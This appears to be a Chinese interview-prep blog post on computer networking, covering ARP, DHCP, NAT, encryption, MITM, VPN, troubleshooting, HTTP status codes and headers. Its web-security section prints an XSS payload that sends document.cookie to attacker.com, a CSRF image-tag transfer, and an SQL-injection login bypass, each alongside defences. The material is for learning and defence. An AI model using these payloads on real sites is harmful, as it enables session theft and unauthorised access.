─────────────────      ──────────────────     ──────────
应用层                     应用层                   应用层数据
表示层                   ↑ 合并为"应用层"
会话层
─────────────────      ──────────────────
传输层                     传输层                   报文段（Segment）
─────────────────      ──────────────────
网络层                     网络层                   数据包（Packet）
─────────────────      ──────────────────
数据链路层                 网络接口层                 帧（Frame）
物理层                   ↑ 合并为"网络接口层"       比特（Bit）

每一层的作用：

层级	协议	作用
应用层	HTTP、HTTPS、FTP、DNS、SMTP	应用程序之间的通信（用户能感知的协议）
传输层	TCP、UDP	端到端的通信（端口号、可靠传输）
网络层	IP、ICMP、ARP	主机到主机的通信（IP 地址、路由）
网络接口层	Ethernet、Wi-Fi	物理传输（MAC 地址、网卡）

数据封装过程（发送方）：

应用层数据
  ↓ 传输层：加 TCP 头（源端口、目标端口）
TCP 报文段
  ↓ 网络层：加 IP 头（源 IP、目标 IP）
IP 数据包
  ↓ 网络接口层：加帧头（源 MAC、目标 MAC）
帧
  ↓ 物理层：转成比特流（0/1）发送

面试加分回答

OSI 七层模型是理论标准（实际上没有严格执行），TCP/IP 四层模型是实际实现（互联网的基础）。面试中，重点掌握每一层的核心协议（应用层：HTTP/DNS；传输层：TCP/UDP；网络层：IP/ICMP）就足够了。另外，网络排错通常也是按层级从下往上查：先查物理层（网线插好了吗？），再查网络层（IP 配对了吗？），再查传输层（端口通了吗？），再查应用层（HTTP 状态码是 200 吗？）。

第 40 题：ARP 协议的原理（IP 转 MAC）？

一句话结论

ARP（Address Resolution Protocol）：根据 IP 地址获取 MAC 地址（因为数据链路层通信需要 MAC 地址，但应用层只知道 IP 地址）。核心流程：广播 ARP 请求 → 目标主机单播 ARP 响应。

深度解析

为什么需要 ARP？

应用层：只知道目标 IP 地址（如 192.168.1.1）
  ↓
网络层：IP 数据包（包含源 IP、目标 IP）
  ↓
数据链路层：需要目标 MAC 地址才能发送帧（交换机根据 MAC 地址转发）
  ↓
问题：只知道目标 IP，不知道目标 MAC → 需要 ARP 协议！

ARP 的工作流程（主机 A 要访问主机 B）：

1. 主机 A（192.168.1.100）想访问主机 B（192.168.1.1）
2. 主机 A 查自己的 ARP 缓存（有没有 B 的 MAC？）
   → 有 → 直接用（不需要 ARP）
   → 没有 → 发 ARP 请求（广播）
3. ARP 请求（广播）：
   → 源 IP：192.168.1.100，源 MAC：AA:BB:CC:DD:EE:FF
   → 目标 IP：192.168.1.1，目标 MAC：FF:FF:FF:FF:FF:FF（广播）
   → 内容："谁是 192.168.1.1？请告诉我你的 MAC 地址"
4. 主机 B 收到 ARP 请求（发现目标 IP 是自己）
   → 单播 ARP 响应："我是 192.168.1.1，我的 MAC 是 11:22:33:44:55:66"
5. 主机 A 收到 ARP 响应
   → 把 B 的 IP-MAC 映射存入 ARP 缓存（下次就不用 ARP 了）

ARP 缓存：

# 查看 ARP 缓存（Windows）
arp -a

# 查看 ARP 缓存（Linux）
ip neigh

# 输出示例：
# 192.168.1.1 dev eth0 lladdr 11:22:33:44:55:66 REACHABLE

面试加分回答

ARP 协议是局域网通信的基础。但要注意：ARP 协议不安全（没有认证机制），容易被 ARP 欺骗（ARP Spoofing）：攻击者伪造 ARP 响应，告诉主机 A”我就是 192.168.1.1”，从而劫持主机 A 的流量。防范方法是静态绑定 IP-MAC 映射（不靠 ARP，手动配置）或用 ARP 防火墙。

第 41 题：DHCP 协议的原理（动态分配 IP）？

一句话结论

DHCP（Dynamic Host Configuration Protocol）：自动给局域网内的主机分配 IP 地址（避免手动配置 IP 的麻烦）。核心流程：DISCOVER（广播）→ OFFER（单播）→ REQUEST（广播）→ ACK（单播）。

深度解析

DHCP 的工作流程（新主机加入局域网）：

1. DISCOVER（广播）：
   新主机：我没有 IP 地址，谁可以给我一个 IP？
   → 广播（目标 IP：255.255.255.255）

2. OFFER（单播）：
   DHCP 服务器：我可以给你 IP 192.168.1.100，你要吗？
   → 单播（目标 IP：255.255.255.255，但帧头的目标 MAC 是新主机的 MAC）

3. REQUEST（广播）：
   新主机：我要 192.168.1.100 这个 IP！
   → 广播（告诉所有 DHCP 服务器，我选了哪个服务器）

4. ACK（单播）：
   DHCP 服务器：好的，给你 192.168.1.100，租期 8 小时
   → 单播

DHCP 分配的 IP 有租期：

租期（Lease Time）：
  → IP 地址不是永久分配的，有租期（如 8 小时）
  → 租期过了一半（4 小时），客户端会向 DHCP 服务器续租
  → 如果续租失败（DHCP 服务器下线），客户端可以继续用这个 IP 直到租期结束
  → 租期结束后，客户端必须重新申请 IP

DHCP 分配的额外信息：

DHCP 服务器不仅分配 IP，还告诉客户端：
  → 子网掩码（Subnet Mask）：255.255.255.0
  → 默认网关（Default Gateway）：192.168.1.1（路由器的 IP）
  → DNS 服务器：8.8.8.8

面试加分回答

DHCP 是局域网自动配置 IP 的核心协议。实际项目中，如果你的服务器需要固定 IP（如数据库服务器、Redis 服务器），应该配置静态 IP（手动配置，不由 DHCP 分配），否则 IP 变化会导致其他服务连不上。另外，DHCP 也容易被攻击（DHCP Starvation Attack：攻击者大量申请 IP，把 DHCP 服务器的 IP 池耗尽），防范方法是DHCP Snooping（交换机只转发信任的 DHCP 服务器的响应）。

第 42 题：NAT（网络地址转换）的原理？

一句话结论

NAT（Network Address Translation）：把内网 IP（如 192.168.1.100）转成公网 IP（如 1.2.3.4），让多台内网主机共享一个公网 IP 上网。解决 IPv4 地址不足的问题。

深度解析

为什么需要 NAT？

1 2	`IPv4 地址只有 32 位（约 43 亿个地址），早就不够用了 → 解决方案：NAT（让多台内网主机共享一个公网 IP）`

NAT 的工作原理：

内网主机（192.168.1.100）访问公网服务器（8.8.8.8:80）：
  1. 内网主机发数据包：
     源 IP：192.168.1.100:12345  → 目标 IP：8.8.8.8:80
  2. NAT 路由器修改源 IP：
     源 IP：1.2.3.4:12345  → 目标 IP：8.8.8.8:80
     （同时记录映射关系：192.168.1.100:12345 ↔ 1.2.3.4:12345）
  3. 公网服务器响应：
     源 IP：8.8.8.8:80  → 目标 IP：1.2.3.4:12345
  4. NAT 路由器根据映射关系转发给内网主机：
     源 IP：8.8.8.8:80  → 目标 IP：192.168.1.100:12345

NAT 的映射表：

NAT 路由器的映射表：
  内网 IP:端口           →  公网 IP:端口
  192.168.1.100:12345  →  1.2.3.4:12345
  192.168.1.101:23456  →  1.2.3.4:23456
  ...

NAT 的局限：

问题：公网的主机不能主动访问内网主机（因为内网 IP 不被公网路由）
  → 解决方案：端口映射（Port Forwarding）
    在 NAT 路由器上配置：公网 IP:8080 → 内网 IP:80
    → 公网的主机访问 1.2.3.4:8080，NAT 路由器转发给 192.168.1.100:80

面试加分回答

NAT 是IPv4 地址不足的临时解决方案（IPv6 有 128 位地址，不需要 NAT）。但 NAT 也有副作用：破坏了端到端通信（公网不能主动访问内网），导致 P2P 下载、IP 电话等应用需要NAT 穿透（STUN、TURN、ICE 协议）。另外，IPv6 不需要 NAT（每个设备都有公网 IP），这也是为什么 IPv6 是未来方向。

第 43 题：对称加密 vs 非对称加密？

一句话结论

对称加密：加密和解密用同一个密钥（快，但密钥分发困难）；非对称加密：加密用公钥，解密用私钥（慢，但解决了密钥分发问题）。HTTPS 同时用了两者（非对称加密协商会话密钥，对称加密传输数据）。

深度解析

对称加密（如 AES、DES）：

特点：
  + 加密/解密速度快（适合加密大量数据）
  - 密钥分发困难（如何把密钥安全地传给对方？）

示例（AES）：
  明文 + 密钥 → AES 加密 → 密文
  密文 + 密钥 → AES 解密 → 明文

非对称加密（如 RSA、ECC）：

特点：
  + 解决了密钥分发问题（公钥可以公开，只有私钥能解密）
  - 加密/解密速度慢（不适合加密大量数据）

示例（RSA）：
  明文 + 公钥 → RSA 加密 → 密文
  密文 + 私钥 → RSA 解密 → 明文

HTTPS 为什么同时用两者？

HTTPS = 非对称加密（协商会话密钥）+ 对称加密（传输数据）

1. 非对称加密阶段（慢，但只用一次）：
   客户端用服务器的公钥加密"会话密钥"
   → 只有服务器的私钥能解密（窃听者没有私钥，拿不到会话密钥）

2. 对称加密阶段（快，用整个会话）：
   客户端和服务器用"会话密钥"加密数据（AES）
   → 即使被窃听，没有会话密钥也解密不了

面试加分回答

对称加密和非对称加密是互补的：对称加密快但密钥分发困难，非对称加密慢但解决了密钥分发问题。HTTPS 的设计非常巧妙：用非对称加密安全地协商会话密钥，然后用对称加密高速传输数据。另外，RSA 正在被 ECC（椭圆曲线加密）取代（相同安全强度下，ECC 的密钥更短，性能更好）。TLS 1.3 已经把 RSA 密钥交换列为”不建议使用”。

第 44 题：中间人攻击（MITM）的原理和防范？

一句话结论

中间人攻击（MITM）：攻击者在通信双方之间插入自己（冒充服务器骗客户端、冒充客户端骗服务器），从而窃听或篡改通信内容。防范方法：HTTPS + 证书校验（客户端校验服务器的证书是否可信）。

深度解析

中间人攻击的原理：

正常通信：
  客户端 ←→ 服务器（直接通信）

中间人攻击：
  客户端 ←→ 攻击者 ←→ 服务器
  → 客户端以为攻击者是服务器（攻击者发了一个假证书）
  → 服务器以为攻击者是客户端（攻击者和服务器建立正常 HTTPS 连接）
  → 攻击者可以窃听、篡改通信内容

中间人攻击的实现方式：

实现方式	说明
ARP 欺骗	攻击者伪造 ARP 响应，告诉客户端”我就是网关”（从而劫持客户端的流量）
DNS 劫持	攻击者篡改 DNS 响应，把目标域名解析到自己的 IP
伪造证书	攻击者自己签发一个假证书（客户端如果不校验证书，就会中招）

防范方法：

方法一：HTTPS + 证书校验（最有效）
  → 服务器配置合法的证书（由受信任的 CA 签发）
  → 客户端校验服务器的证书（是否在有效期、域名是否匹配、是否由受信任的 CA 签发）

方法二：公钥固定（HPKP，已废弃） / 证书固定（Certificate Pinning）
  → 客户端内置服务器的公钥哈希（即使攻击者有什么 CA 签发的假证书，也通不过校验）

方法三：VPN
  → 所有流量都走 VPN 隧道（中间人攻击不了）

面试加分回答

中间人攻击是公共 Wi-Fi 的最大威胁（攻击者可以在同一 Wi-Fi 下发起 ARP 欺骗，劫持其他用户的流量）。防范方法是：不要用公共 Wi-Fi 访问敏感网站（如网银），或者用 VPN（所有流量走加密隧道）。另外，Android 7.0+ 默认不信任用户安装的证书（防止恶意证书发起中间人攻击），这是一个很重要的安全改进。

第 45 题：VPN 的原理？

一句话结论

VPN（Virtual Private Network）：在公共网络上建立加密隧道，让远程用户像在局域网内一样访问内网资源。核心原理：数据包封装（把原始数据包加密后，封装在另一个数据包中传输）。

深度解析

VPN 的工作流程：

没有 VPN：
  客户端 → 公网 → 公司内网（访问不了，因为不在同一个局域网）

有 VPN：
  客户端 → 公网 → VPN 服务器（公司内网） → 内网资源
  → 客户端和 VPN 服务器之间建立加密隧道（公网看不到原始数据）

VPN 的封装过程：

原始数据包（访问内网文件服务器）：
  源 IP：客户端 IP    目标 IP：内网文件服务器 IP

封装后（在客户端和 VPN 服务器之间传输）：
  外层数据包：
    源 IP：客户端公网 IP    目标 IP：VPN 服务器公网 IP
  内层数据包（加密）：
    源 IP：客户端虚拟 IP   目标 IP：内网文件服务器 IP

常见 VPN 协议：

协议	速度	安全性	适用场景
IPsec	中	高	企业 VPN（支持加密和认证）
SSL VPN（如 OpenVPN）	快	高	远程办公（基于 SSL/TLS）
WireGuard	很快	高	新一代 VPN（代码量小，性能好）
PPTP	快	低（已不安全）	不推荐（容易被破解）

面试加分回答

VPN 的核心价值是远程办公（让员工在家也能安全访问公司内网）。但实际项目中，VPN 不是唯一选择——零信任架构（Zero Trust） 正在取代传统 VPN：不再默认信任内网设备，而是对每个访问请求都做身份认证和权限校验（无论请求来自内网还是外网）。Google 的 BeyondCorp 就是零信任架构的经典案例。

第 46 题：网络性能优化（DNS 预解析、TCP 优化、HTTP/2 推送）？

一句话结论

网络性能优化的核心思路：减少延迟（用 CDN、HTTP/2 多路复用）、减少传输量（压缩、缓存）、减少连接建立开销（TCP 优化、TLS 1.3 0-RTT）。

深度解析

优化一：DNS 预解析（减少 DNS 查询延迟）：

1
2
3

<!-- DNS 预解析：浏览器提前解析域名（用户点击链接时，DNS 查询已经完成） -->
<link rel="dns-prefetch" href="//cdn.example.com">
<link rel="dns-prefetch" href="//api.example.com">

优化二：TCP 优化（减少 TCP 握手开销）：

# TCP Fast Open（TFO）：第一次握手就能带数据（减少一个 RTT）
# Linux 开启 TFO：
sysctl -w net.ipv4.tcp_fastopen=3

# TCP BBR（Google 开发的拥塞控制算法）：弱网环境下吞吐量更高
# Linux 4.9+ 支持 BBR：
sysctl -w net.ipv4.tcp_congestion_control=bbr

优化三：TLS 1.3（减少 TLS 握手开销）：

TLS 1.2（需要 2-RTT）：
  客户端 → Server Hello + 证书 + Key Exchange → 服务器
  服务器 → Finished → 客户端
  客户端 → Finished → 服务器
  → 2 个 RTT 才能开始传应用数据

TLS 1.3（只需要 1-RTT，0-RTT 恢复连接）：
  客户端 → Server Hello + 证书 + Finished → 服务器
  → 1 个 RTT 就能开始传应用数据
  → 如果之前连接过，可以 0-RTT（第一个包就能带应用数据）

优化四：HTTP/2 服务端推送（减少客户端请求次数）：

传统方式：
  客户端：请求 index.html
  服务器：返回 index.html
  客户端：解析 HTML，发现需要 style.css 和 app.js
  客户端：请求 style.css
  客户端：请求 app.js
  → 3 个 RTT

HTTP/2 服务端推送：
  客户端：请求 index.html
  服务器：返回 index.html + 主动推送 style.css + 主动推送 app.js
  → 1 个 RTT

面试加分回答

网络性能优化的最重要的是度量（不要盲目优化）。推荐用 WebPageTest（https://www.webpagetest.org/）或 Chrome DevTools 的 Network 面板分析页面的加载性能（首屏时间、TTI、TPS 等），找到瓶颈再优化。另外，HTTP/3（QUIC） 是未来的方向（0-RTT 连接建立 + 无队头阻塞），如果你的用户主要在移动网络，升级到 HTTP/3 会有显著的性能提升。

第 47 题：实际网络故障排查案例？

一句话结论

网络故障排查的通用流程：从底层到高层逐一排查（物理层 → 数据链路层 → 网络层 → 传输层 → 应用层）。常用工具：ping（连通性）、traceroute（路由路径）、netstat（端口监听）、tcpdump（抓包分析）。

深度解析

案例一：服务器 ping 不通（网络层问题）：

# 1. 查物理层（网线插好了吗？网卡灯亮吗？）
ip link show eth0  # 看网卡是否 UP

# 2. 查网络层（IP 配对了吗？网关通吗？）
ip addr show eth0  # 看 IP 地址
ping 网关 IP        # ping 网关（如果不通，检查网线/交换机）

# 3. 查路由（默认路由配对了吗？）
ip route show       # 看默认路由（default via ...）

# 4. 查防火墙（是不是被防火墙拦了？）
iptables -L -n -v   # 看防火墙规则

案例二：可以 ping 通，但端口不通（传输层/应用层问题）：

# 1. 查端口监听（服务器有没有监听这个端口？）
netstat -tuln | grep :80   # 看 80 端口有没有监听

# 2. 查进程（是哪个进程在监听？）
lsof -i :80   # 看 80 端口的进程

# 3. 查防火墙（是不是被防火墙拦了？）
iptables -L -n -v | grep 80

# 4. 本地测试（在服务器上自己 curl 自己）
curl http://localhost:80  # 如果通，说明是防火墙/网络问题；如果不通，说明是应用问题

案例三：TCP 连接数爆满（传输层问题）：

# 查 TCP 连接状态
netstat -ant | grep :80 | awk '{print $6}' | sort | uniq -c
# 输出：
#   1000 ESTABLISHED  （正常连接）
#  50000 TIME_WAIT     （TIME_WAIT 太多，端口耗尽）

# 解决方案：
# 1. 开启 TCP 复用（reuse）
sysctl -w net.ipv4.tcp_tw_reuse=1

# 2. 调小 TIME_WAIT 超时时间
sysctl -w net.ipv4.tcp_fin_timeout=30

面试加分回答

网络故障排查是运维/后端开发的必备技能。面试中，如果能说出从底层到高层逐一排查的思路，以及常用工具（ping、traceroute、netstat、tcpdump、Wireshark），就已经超过 80% 的候选人了。另外，tcpdump 抓包分析是最高级的排查手段（能看到每个数据包的详细信息），建议每个后端开发都学一下。

第 48 题：HTTP 状态码全家桶（1xx ~ 5xx）？

一句话结论

HTTP 状态码分为 5 类：1xx（信息）、2xx（成功）、3xx（重定向）、4xx（客户端错误）、5xx（服务器错误）。面试最高频：200、301/302、304、400、401、403、404、500、502、503、504。

深度解析

2xx（成功）：

状态码	说明
200 OK	请求成功
201 Created	创建成功（POST 请求创建资源）
204 No Content	成功但没有响应体（DELETE 请求）
206 Partial Content	部分内容（断点续传）

3xx（重定向）：

状态码	说明
301 Moved Permanently	永久重定向（SEO 会把旧 URL 的权重转移到新 URL）
302 Found	临时重定向（SEO 不会转移权重）
304 Not Modified	协商缓存命中（服务器告诉客户端”用本地缓存”）

4xx（客户端错误）：

状态码	说明
400 Bad Request	请求格式错误（如 JSON 格式不对）
401 Unauthorized	未认证（没有登录）
403 Forbidden	无权限（登录了但没有权限）
404 Not Found	资源不存在
405 Method Not Allowed	请求方法不允许（如用 POST 访问只支持 GET 的接口）
429 Too Many Requests	请求频率超限（限流）

5xx（服务器错误）：

状态码	说明
500 Internal Server Error	服务器内部错误（代码 Bug）
502 Bad Gateway	网关错误（如 Nginx 连不上后端服务）
503 Service Unavailable	服务不可用（如服务正在重启）
504 Gateway Timeout	网关超时（如 Nginx 等待后端服务超时）

面试加分回答

HTTP 状态码是前后端联调的基础。面试中，除了能说出常见状态码的含义，最好还能说出如何选择合适的状态码（如”用户未登录”应该用 401 还是 403？答案是 401，因为 403 是”无权限”，用户连登录都没登录，谈不上权限）。另外，429 Too Many Requests 是限流的标准响应码，实际项目中建议用这个状态码而不是自定义的（如 500 或 403）。

第 49 题：HTTP 请求头和响应头的常用字段？

一句话结论

常用请求头：Host（虚拟主机）、User-Agent（客户端标识）、Accept（接受的响应格式）、Authorization（认证信息）、Cookie（会话标识）；常用响应头：Content-Type（响应格式）、Set-Cookie（设置 Cookie）、Cache-Control（缓存策略）、Location（重定向目标）。

深度解析

常用请求头：

请求头	说明	示例
`Host`	目标主机名（虚拟主机）	`Host: www.example.com`
`User-Agent`	客户端标识	`User-Agent: Mozilla/5.0 ...`
`Accept`	接受的响应格式	`Accept: application/json`
`Authorization`	认证信息	`Authorization: Bearer xxxxxx`
`Cookie`	Cookie（会话标识）	`Cookie: sessionId=abc123`
`Content-Type`	请求体的格式	`Content-Type: application/json`
`Content-Length`	请求体的长度	`Content-Length: 123`

常用响应头：

响应头	说明	示例
`Content-Type`	响应体的格式	`Content-Type: application/json; charset=utf-8`
`Content-Length`	响应体的长度	`Content-Length: 456`
`Set-Cookie`	设置 Cookie	`Set-Cookie: sessionId=abc123; HttpOnly`
`Cache-Control`	缓存策略	`Cache-Control: max-age=3600`
`Location`	重定向目标（3xx 响应）	`Location: https://www.example.com/new-url`
`ETag`	资源版本标识（协商缓存）	`ETag: "abc123"`

面试加分回答

HTTP 请求头和响应头是前后端通信的核心。面试中，如果问到”如何防止 XSS 攻击？”，其中一个答案是设置 Cookie 的 HttpOnly 属性（Set-Cookie: sessionId=abc123; HttpOnly）——这样 JavaScript 就无法读取 Cookie（阻止 XSS 攻击窃取 Cookie）。另外，Content-Security-Policy（CSP）响应头也是防范 XSS 的重要手段（限制页面可以加载哪些资源）。

第 50 题：网络安全（XSS、CSRF、SQL 注入）的原理和防范？

一句话结论

XSS（跨站脚本攻击）：攻击者在页面注入恶意脚本（偷 Cookie、钓鱼）；CSRF（跨站请求伪造）：攻击者诱导用户点击链接，利用用户的登录状态发起恶意请求；SQL 注入：攻击者构造恶意 SQL（绕过认证、拖库）。防范方法：输入校验 + 输出转义 + 预编译 SQL。

深度解析

XSS（跨站脚本攻击）：

<!-- 场景：评论区（用户可以输入评论，评论会展示给其他用户） -->
<!-- 攻击者输入： -->
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>

<!-- 其他用户访问这个评论页面时，浏览器会执行这段脚本 -->
<!-- 结果：其他用户的 Cookie 被窃取（攻击者可以冒充其他用户登录） -->

防范方法：
  1. 输入校验（过滤 <script>、<iframe> 等危险标签）
  2. 输出转义（把 < 转成 &lt;，把 > 转成 &gt;）
  3. 设置 Cookie 的 HttpOnly 属性（JavaScript 无法读取 Cookie）

CSRF（跨站请求伪造）：

<!-- 场景：用户登录了银行网站（Cookie 有效） -->
<!-- 攻击者构造一个钓鱼页面： -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

<!-- 用户访问钓鱼页面时，浏览器会自动带上银行网站的 Cookie -->
<!-- 结果：银行在不知情的情况下转账给攻击者 -->

防范方法：
  1. CSRF Token（表单里加一个随机 Token，服务器校验 Token 是否合法）
  2. 校验 Referer（检查请求是否来自自己的域名）
  3. 设置 Cookie 的 SameSite 属性（Strict 或 Lax）

SQL 注入：

-- 场景：登录接口（用户输入用户名和密码）
-- 后端代码（拼接 SQL，有注入风险）：
SELECT * FROM users WHERE username = '$username' AND password = '$password';

-- 攻击者输入：
--   username: admin' --
--   password: 随意
-- 拼接后的 SQL：
SELECT * FROM users WHERE username = 'admin' --' AND password = '随意';
-- 「--」是 SQL 注释，后面的密码校验被注释掉了
-- 结果：攻击者不需要密码就能登录 admin 账号

防范方法：
  1. 预编译 SQL（PreparedStatement，参数化查询）
  2. 输入校验（用户名只能包含字母和数字）
  3. 最小权限原则（数据库账号不要用 root，只给必要的权限）

面试加分回答

XSS、CSRF、SQL 注入是 Web 安全的三大经典攻击。实际项目中，如果用现代 Web 框架（如 Spring Boot、Django、Express），这些框架已经内置了防范机制（如 Spring Boot 的 Thymeleaf 会自动转义输出、MyBatis 用 #{} 预编译 SQL）。但如果你用原生 Servlet 或自己拼接 SQL，就要非常小心——这也是为什么面试中会问这些安全问题（考察你是否知道如何防范）。

面试准备 > 技术面试 > 计算机网络

#面试 #八股文 #计算机网络 #TCP/IP #HTTP #面试准备

计算机网络面试八股文——30+题深度解析（TCP/IP/HTTP/HTTPS全覆盖）

https://whyalwaysme.lol/2026/06/08/2026-06-08-computer-networks-interview-deep/

作者

Cassiur

发布于

2026年6月8日

许可协议

技术派缓存+Pipeline面试题深度解析（22问·附源码）上一篇

KnowFlow ④：JWT 双令牌 + RBAC 多租户 + K8s 云原生化部署（面试深挖）下一篇

计算机网络面试八股文——30+题深度解析（TCP/IP/HTTP/HTTPS全覆盖）

目录

1. 网络模型

Q1：OSI 七层模型和 TCP/IP 四层模型的区别？

Q2：各层的数据名称是什么？

2. TCP 协议

Q3：TCP 三次握手的过程？

Q4：TCP 四次挥手的过程？

Q5：TCP 如何保证可靠传输？

Q6：TCP 和 UDP 的区别？

3. UDP 协议

Q7：UDP 的应用场景有哪些？

4. HTTP 协议

Q8：HTTP 的请求方法有哪些？

Q9：HTTP 的请求结构和响应结构？

Q10：HTTP/1.0、HTTP/1.1、HTTP/2.0、HTTP/3.0 的区别？

5. HTTPS 协议

Q11：HTTPS 的工作原理？

Q12：对称加密和非对称加密的区别？

6. DNS 协议

Q13：DNS 的解析过程？

7. ARP 协议

Q14：ARP 协议的作用和工作原理？

8. IP 协议与子网

Q15：IP 地址的分类？

Q16：子网掩码的作用？如何计算子网？

9. HTTP 状态码

Q17：常见的 HTTP 状态码有哪些？

10. Cookie 与 Session

Q18：Cookie 和 Session 的区别？

11. 网络安全

Q19：什么是 CSRF 攻击？如何防御？

Q20：什么是 XSS 攻击？如何防御？

12. 高频面试题

Q21：从浏览器输入 URL 到页面加载完成，发生了什么？

Q22：什么是长连接和短连接？

Q23：什么是 WebSocket？和 HTTP 的区别？

Q24：什么是 HTTP 长轮询和短轮询？

Q25：什么是 RESTful API？

计算机网络面试高频问题速查表

总结：计算机网络面试准备路线

第 26 题：HTTP 缓存机制（Cache-Control、ETag）？

第 27 题：TCP 拥塞控制的四种算法？

第 28 题：ICMP 协议是干什么的？Ping 的原理？

第 29 题：HTTP/2 的多路复用是什么？和 HTTP/1.1 比有什么优势？

第 30 题：网络故障排查的常用工具和命令？

第 31 题：HTTP/3 和 QUIC 协议是什么？解决了 HTTP/2 的什么问题？

一句话结论

深度解析

面试加分回答

第 32 题：DNS 的解析过程是什么？（递归查询 vs 迭代查询）

一句话结论

深度解析

面试加分回答

第 33 题：HTTPS 的证书链验证过程？

一句话结论

深度解析

面试加分回答

第 34 题：TCP 的 keep-alive 和 HTTP 的 keep-alive 区别？

一句话结论

深度解析

面试加分回答

第 35 题：WebSocket 的原理和适用场景？

一句话结论

深度解析

面试加分回答

第 36 题：RESTful API 的设计规范？

一句话结论

深度解析

面试加分回答

第 37 题：跨域（CORS）的原理和解决方案？

一句话结论

深度解析

面试加分回答

第 38 题：CDN 的原理和缓存策略？

一句话结论

深度解析

面试加分回答

第 39 题：网络分层模型（OSI 七层 vs TCP/IP 四层）？

一句话结论